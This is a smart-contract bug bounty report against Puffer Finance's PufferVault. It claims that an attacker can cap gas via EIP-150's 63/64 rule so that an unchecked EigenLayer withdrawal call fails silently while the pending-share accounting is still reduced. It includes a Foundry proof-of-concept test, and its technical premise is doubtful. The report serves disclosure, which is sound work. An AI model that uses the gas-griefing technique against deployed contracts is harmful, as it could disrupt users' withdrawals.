28732 - [SC - Insight] External Call from Eigen Layer can fail silentl...
Submitted on Feb 25th 2024 at 12:05:50 UTC by @Cryptor for Boost | Puffer Finance
Report ID: #28732
Report type: Smart Contract
Report severity: Insight
Target: https://etherscan.io/address/0xd9a442856c234a39a81a089c06451ebaa4306a72
Impacts:
Contract fails to deliver promised returns, but doesn't lose value
Description
Brief/Intro
The function claimWithdrawalFromEigenLayer is unprotected and makes an external call to eigen layer at the end of the function without checking the return value. This can result in a possible exploit where a user can call claimWithdrawalFromEigenLayer and pass in just enough gas to reduce the amount of pending shares while the eigenlayer call fails
Vulnerability Details
Observe the following code
https://github.com/PufferFinance/pufETH/blob/14b15a3c94b65d895ea08b5faa1cfed0dfc18bd0/src/PufferVault.sol#L222-L243
The function claimWithdrawalFromEigenLayer allows a user to claim stETH withdrawals from EigenLayer. If fetches some values from Eigen Layer and then makes some checks. Pay attention to the following lines
$.eigenLayerPendingWithdrawalSharesAmount -= queuedWithdrawal.shares[0];
_EIGEN_STRATEGY_MANAGER.completeQueuedWithdrawal({
queuedWithdrawal: queuedWithdrawal,
tokens: tokens,
middlewareTimesIndex: middlewareTimesIndex,
receiveAsTokens: true
});
It reduces the pending shares and then makes an external call to Eigen to complete the queued withdrawal of shares. However due to the 1/64th rule in etheruem and the lack of a return value check on the external call, there is a way to make the function pass while making the external call to eigen silently fail causing an erroneous accounting of eigenLayerPendingWithdrawalSharesAmount, which can be reduced without any withdrawal actually taking place.
Impact Details
A bad actor exploiting this vulnerability could disrupt the withdrawal process. By causing the external call to Eigen to fail while reducing the pending shares, the actor could manipulate the queuing system. This could ultimately lead to withdrawals being delayed or, in worse scenarios, not processed at all.
References
https://medium.com/iovlabs-innovation-stories/the-dark-side-of-ethereum-1-64th-call-gas-reduction-ba661778568c
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-150.md
https://solodit.xyz/issues/h-08-gas-limit-check-is-inaccurate-leading-to-an-operator-being-able-to-fail-a-job-intentionally-code4rena-holograph-holograph-contest-git
Proof of Concept
(Note: The following helper external view function was added to the puffervault contract to fetch share value from the VaultStorage struct to make writing the test easier. Nothing else has changed in the code.)
function getvaultwithdrawshares () public view returns (uint) {
VaultStorage storage $ = _getPufferVaultStorage();
return $.eigenLayerPendingWithdrawalSharesAmount;
}
Foundry Test (modified test_withdraw_from_eigenlayer):
function test_withdraw_from_eigenLayer()
public
giveToken(BLAST_DEPOSIT, address(stETH), address(pufferVault), 1000 ether) // Blast got a lot of stETH
{
// Simulate stETH cap increase call on EL
_increaseELstETHCap();
vm.startPrank(OPERATIONS_MULTISIG);
pufferVault.depositToEigenLayer(stETH.balanceOf(address(pufferVault)));
uint256 ownedShares = _EIGEN_STRATEGY_MANAGER.stakerStrategyShares(address(pufferVault), _EIGEN_STETH_STRATEGY);
uint256 assetsBefore = pufferVault.totalAssets();
// Initiate the withdrawal
pufferVault.initiateStETHWithdrawalFromEigenLayer(ownedShares);
// 1 wei diff because of rounding
assertApproxEqAbs(assetsBefore, pufferVault.totalAssets(), 1, "should remain the same when locked");
IERC20[] memory tokens = new IERC20[](1);
tokens[0] = IERC20(address(stETH));
IStrategy[] memory strategies = new IStrategy[](1);
strategies[0] = IStrategy(_EIGEN_STETH_STRATEGY);
uint256[] memory shares = new uint256[](1);
shares[0] = ownedShares;
IEigenLayer.WithdrawerAndNonce memory withdrawerAndNonce =
IEigenLayer.WithdrawerAndNonce({ withdrawer: address(pufferVault), nonce: 0 });
IEigenLayer.QueuedWithdrawal memory queuedWithdrawal = IEigenLayer.QueuedWithdrawal({
strategies: strategies,
shares: shares,
depositor: address(pufferVault),
withdrawerAndNonce: withdrawerAndNonce,
withdrawalStartBlock: uint32(block.number),
delegatedAddress: address(0)
});
// Roll block number + 100k blocks into the future
vm.roll(block.number + 100000);
/*added an external helper function getvaultwithdrawshares to the puffer vault contract to fetch
the pendingwithdrawsharesamount */
uint puffervaultsharesbefore = pufferVault.getvaultwithdrawshares();
/*Exploits EIP 150 to pass in just enough gas to reduce shares amount while allowing
the external call to eigen layer to fail silently
*/
uint gasLimit = (gasleft()* 63/64) - 1;
/* Claim Withdrawal. Final call to Eigen Layer would revert while the erroneous accouting of shares still remain */
pufferVault.claimWithdrawalFromEigenLayer{gas: gasLimit}(queuedWithdrawal, tokens, 0);
//
uint puffervaultsharesafter = pufferVault.getvaultwithdrawshares();
assert(puffervaultsharesafter < puffervaultsharesbefore);
}
Last updated
Was this helpful?